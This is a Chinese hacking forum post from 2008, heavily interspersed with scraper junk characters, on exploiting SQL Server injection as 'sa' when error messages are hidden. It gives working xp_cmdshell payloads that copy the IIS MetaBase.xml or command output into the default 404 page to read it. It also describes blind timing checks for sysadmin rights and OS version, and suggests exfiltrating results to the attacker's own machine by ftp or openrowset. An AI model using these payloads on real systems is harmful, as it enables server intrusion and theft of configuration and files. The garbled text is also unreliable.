遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。 G0 u$ a7 q7 S9 }6 R6 {9 }2 P; K, R
- Z- ^5 O* f% x: x. \, C. [3 v 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。% {' c$ m4 X' \' y* T
' k7 P0 d, {+ s8 O. k/ {$ K! w2 U 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
' a1 r6 w9 b0 n# O" s8 N* }& A1 ?) T1 W+ \7 L; p; u( p7 B% K ~9 Y) ]
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm: z& }2 x' q; W) y( n6 c
& m8 f$ P4 F! L: i; f x
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--7 L2 M5 [2 M7 c
x; R- i/ V3 W+ i: I ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
, O/ |. g8 c. U5 A0 {9 m# ?& o# T$ G+ J1 b
执行命令得到回显4 ~/ _% [$ p9 G3 \* j5 j9 U
6 {1 q4 @9 V+ R% i# e6 k& K2 ` 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
( C! ?, r1 G' {2 {5 ] L4 j" |5 L7 A5 S5 E7 \8 Q. L; l1 c
得到文件也shi相同,把文件copy到404b.htm就行了
8 `4 t+ S" r" w, f8 `6 }2 m$ P% b f$ e. n* ]& `
by 28ice, 2008/6/26
1 T( q. }5 @/ V, {
4 h, v- @6 Q4 |6 h6 T3 g 摘自 28度的冰
! T! @+ k5 C- P8 ~9 N
% @7 k0 e* | i1 H 盲注判断权限和操作系统版本
: K! A/ c" E) ~4 U& M% U: @' Z7 c' C
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?5 F' o" F6 g. z, j
+ U5 h7 N1 m$ C6 j
最简单的,可能以用这样的方法:5 `8 {( D+ w1 ^% l0 }' N
( e& V4 b* l. s: _
1=(select IS_SRVROLEMEMBER(’sysadmin’)); L) u. Q9 K: \
/ K- w- x0 k1 t, |! V% u 当然,有些情况下,这个方法并不奏效。
4 G* M- B( j G7 C1 Z0 |# Q5 i
+ M$ v& B6 ^ c' Q. Z 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
! D/ z8 L( `* x* N4 f* u% K0 o- s1 v$ ]8 w2 Z( U
有个3办法可能以解决这个问题& h9 p) K9 Z3 N
$ \0 l8 S* k1 _9 L a.把执行结果写到404b.htm,具体请看我的上一篇文章
# u( O5 t; D$ D+ u( a( n/ t; Z4 q- S3 Q$ w5 k3 o
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
" V7 B q7 S& c, W- d! `( ]" j2 I6 \- a5 ]6 h0 j# t a: P+ X6 }
c.如果1433端口可能以连接,那干脆新建个sql登录* R. `+ K) D4 x4 {' W6 Z. {9 y1 `9 ^
5 \$ U/ D8 {9 ?% ?/ Y d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数6 [( l* n7 x, w# ?) J
9 o6 O& S9 h9 ? S
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
5 _2 E8 I! G2 i: W8 ?6 _+ T4 J4 Q7 w0 x. e6 e$ @
很简单
6 l+ n2 O2 X& a" D9 }2 N: t2 } B; }- E+ L: Y5 W1 a2 T) @
执行systeminfo
1 s! z3 M0 H. f' n! v8 [# b
. s# p3 x3 Y/ v( }1 C 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |